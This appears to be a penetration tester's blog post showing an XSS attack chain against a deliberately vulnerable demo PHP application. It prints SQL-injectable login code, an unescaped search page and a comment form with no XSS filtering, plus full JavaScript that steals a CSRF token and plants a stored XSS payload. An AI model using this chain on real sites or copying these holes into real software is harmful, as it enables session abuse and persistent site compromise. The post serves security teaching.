304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

XSS Attack Chain – Reflected XSS -> CSRF -> Stored XSS

I used a great XSS attack chain in an engagement recently, and I wanted to share it.

XSS Attack Chain – Introduction

While the application for this attack may seem a bit contrived, this is basically something that I did in the real world. The only real difference between this demo application and the real one, is the real one was actually address information instead of a comment’s section.

Most people are familiar with Cross-site Scripting and the dangers associated with it. In this case, I was able to exploit a reflected cross-site scripting vulnerability on a pre-authentication page.

Using this reflected cross-site scripting vulnerability, I grabbed the CSRF token from a page. With the CSRF token, I was able to make requests as the authenticated user.

Finally, the CSRF-able page was vulnerable to a stored XSS vulnerability. This could have allowed my payload to spread even further, and obtain persistence in the application. I didn’t go any further than this during the engagement, but I leave this as an exercise to the reader.

The Vulnerable Application – Login

First, I reused the login page from my XSS Password Stealing demonstration. Again, this application is vulnerable to a SQL Injection vulnerability, but that is not the point of this attack.

The index.php file is exactly the same, and you can find it below.

      <link rel="stylesheet" type="text/css" href="">
    <div class="container">
        <div class="row">
          <div class="col-md-8 col-md-offset-2">

                <h3>Log In</h3>

                <form action="login.php" method="POST" onsubmit="return checkValid()">
                        <div class="form-group">
                            <label for="username">Username:</label>
                            <input type="text" id="username" name="username" class="form-control">
                        <div class="form-group">
                            <label for="password">Password:</label>
                            <div class="controls">
                                <input type="password" id="password" name="password" class="form-control">
                        <div class="form-actions">
                            <input type="submit" value="Login" class="btn btn-primary">
    <!-- Example from LASACTF - -->

XSS Attack Chain - Login

I slightly modified the login.php file, to include the PHP session handling.

    include "app/config.php";
    $con = new SQLite3($database_file);
    $username = $_POST["username"];
    $password = $_POST["password"];
    $query = "SELECT * FROM users WHERE name='$username' AND password='$password'";
    $result = $con->query($query);
    $row = $result->fetchArray();
    if ($row) {
        $_SESSION['login'] = true;
    } else {
        echo "<h1>Login failed.</h1>";

The config.php file is still the same, although the flag is obviously not necessary for this demo.

    $database_file = "app/users.db";
    $FLAG = "CTFs{inj3ction_fl4g}"

Finally, you can download the users.db file here if you do not want to create it.

The Vulnerable Application – Search

In addition to the previous pages, I also added a basic “search” page.

XSS Attack Chain - Search

While this page is clearly not fully featured, it is a basic example of a common reflected XSS vector.

XSS Attack Chain - Search XSS

An unauthenticated user can reach this page, and the source code is below.

    $query = $_GET['q'];
    echo "<i>Your search query is $query</i>"

The Vulnerable Application – Comments

Finally, I added a comments section to the web application. This page requires authentication and is vulnerable to the stored XSS.

I got most of this code from this StackExchange question, and just added some authorization code at the top.

XSS Attack Chain - Comments


    if(!isset($_SESSION['login'])) {
         echo "<h2>You must be logged in to access the comments</h2>";


/** Function read_comments() takes no arguments. It reads from what it presumes is a correctly formatted (in HTML) comments.txt file. It then prints based on whether the comments file is empty--a default message if so, or otherwise the preformmated contents. */

function read_comments() {

    $comments = file_get_contents('comments.txt');

    if(empty($comments)) {

        echo '<p><i>There are no comments at this time.</i></p>';

    } else {

        echo $comments;



/** Function print_form() prints the user submission form, including inline CSS and POST data if a field is left blank. It takes one integer argument that does the following:
    * 0 = print blank form
    * 1 = mark the textarea border red (to indicate invalid information, defined later as null); also prints POST data
    * 2 = mark the text input field border red (to indicate invalid information, defined later as null); also prints POST data
    * 3 = mark both fields red */

function print_form($val) {

    $sign = hash_hmac('sha256', $_SESSION['login'], 's3cr3t');

    /* This line is purely stylistic. */
    echo '<p><i>Leave a question/comment:</i></p>';

    $form = '<form method="post" action="#"><textarea name="comment" id="comment" style="';

    /* toggle CSS on textarea based on validation */
    if (($val == 1)||($val == 3)) {

        $form .= 'border: 1px solid #912; ';


    $form .= 'width: 80%; height: 10em;">';

    /* display post data if any part of the form is invalid */
    if ($val != 0) {

        $form .= strip_tags($_POST['comment']);


    $form .= '</textarea><p><i>Your name:</i><br><input type="hidden" name="csrfToken" id="csrfToken" value="' . $sign . '"><input type="text" name="name" id="name"';

    /* display post data if any part of the form is invalid */
    if ($val != 0) {

        $form .= 'value="' . strip_tags($_POST['name']) . '"';


    /* toggle CSS on input block based on validation */
    if (($val == 2)||($val == 3)) {

        $form .= ' style="border: 1px solid #912;"';


    $form .= '></p><p><input type="Submit" value="Post comment"></p></form>';

    echo $form;

/** The role of process_form() is to evaluate whether there is any information to be written; if so, validate it; then call read_comments() and print_form() appropriately */
function process_form() {

    $err = 0;
    $sign = hash_hmac('sha256', $_SESSION['login'], 's3cr3t');

    if ($_POST) {

        /* validate the comment box */
        if (empty($_POST['comment'])) {



        /* validate the name box */
        if (empty($_POST['name'])) {

            $err = $err + 2;


	/* validate the csrfToken */
	if ($_POST['csrfToken'] != $sign) {
		$err = $err + 4;

        /* if valid, process the form */
        if ($err == 0) {

            /* create full HTML comment string */
            $comment = '<p>"' . $_POST['comment'] . '"<br><span style="text-align: right; font-size: 0.75em;">--' . strip_tags($_POST['name']) . ', ' . date('F j\, g\:i A') . '</span></p>';

            /* write file to comments page */
            file_put_contents('comments.txt', $comment, FILE_APPEND | LOCK_EX);

	else {
	    echo "<p>Error Code: " . $err . "</p>";

    /* Run read_comments() to retrieve the comments, including anything new, then print the form with the appropriate validation value */




XSS Attack Chain - Comments Authorization

As you can see, this is just a basic comments section, and I have also removed the XSS protection.

XSS Attack Chain - Posted Comment

As you may have noticed above, I also added CSRF protection to the comments section.

$sign = hash_hmac('sha256', $_SESSION['login'], 's3cr3t');
$form .= '</textarea><p><i>Your name:</i><br><input type="hidden" name="csrfToken" id="csrfToken" value="' . $sign . '"><input type="text" name="name" id="name"';


/* validate the csrfToken */
	if ($_POST['csrfToken'] != $sign) {
		$err = $err + 4;

For a bit more information about CSRF protection, you can read the following paper

While taking the signature of the SESSIONID isn’t the most ideal solution, it is common and simple enough for this demonstration.

XSS Attack Chain - CSRF Token

The Exploit Chain

With the vulnerable application configured and running, it was time to build the full attack chain.

First, I cleared out the comments section and authenticated to the application.

XSS Attack Chain - Cleared Comments

Next, I developed the exploit JavaScript and hosted it on my attacker system. This script will send a GET request to the comments page, extract the CSRF token, and then submit a POST request to the comments form containing a stored XSS payload.

// Handles the xhr response, parses the data, and extracts the CSRF token
function readBody(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
    data = xhr.responseXML;
    } else {
    data = xhr.response;

    var parser = new DOMParser();
    var resp = parser.parseFromString(data, "text/html");
    token = resp.getElementsByName("csrfToken")[0].value;
    return data;

// Creates and sends the initial XHR request to the comments page: this is to obtain the CSRF token
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
    if (xhr.readyState == 4) {
        response = readBody(xhr);
}"GET", "http://localhost:8123/comments.php", true);

// Sends the CSRF attack to POST data to the comment section, using the previously obtained CSRF token
function csrf(token) {
    var params = "name=csrfTest&";
    params += "comment=<script>alert(1)</script>&";
    params += "csrfToken=" + token;

    var x1 = new XMLHttpRequest();"POST", "http://localhost:8123/comments.php");
    x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

With the payload in place, it was time to execute it via the reflected XSS vector.

XSS Attack Chain - Reflected XSS Exploit

When I went to visit the comments section, my browser executed the stored payload!

XSS Attack Chain - Stored XSS

Viewing the code, the persistent XSS payload ended up in the comments table successfully.

XSS Attack Chain - Comments Payload

XSS Attack Chain – Conclusion

While the vulnerable application for this demonstration was a bit simplified, the attack is common enough in real applications.

Hopefully this demonstrates the failure of even secure CSRF tokens in the presence of XSS.

Additionally, using XHR requests to grab tokens and submit forms is a great way to weaponize your exploits.

I hope to start sharing these vulnerable applications on my GitHub repository soon, but let me know if you have any questions, comments, or ideas in the meantime!


  1. Nice article.

    I noticed the query your used is SQL injectable 😉
    $query = “SELECT * FROM users WHERE name=’$username’ AND password=’$password'”;

    • Thanks!

      Haha, yup, that’s why I mention it in the beginning, “First, I reused the login page from my XSS Password Stealing demonstration. Again, this application is vulnerable to a SQL Injection vulnerability, but that is not the point of this attack.”

      Too lazy to make a new one that wasn’t vulnerable just for this demo.

  2. Hi Doyler,

    I cant seem to replicated the exploit, and I dont know why.
    When I load the malicious .js script from the search.php, I can see that my local php server loads the exploit.js and I can even see it in wireshark. But when I visit comments.php, the payload will not execute / I can not observer any other GET/POST request to comments.php.

    Do you know what I did wrong ?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.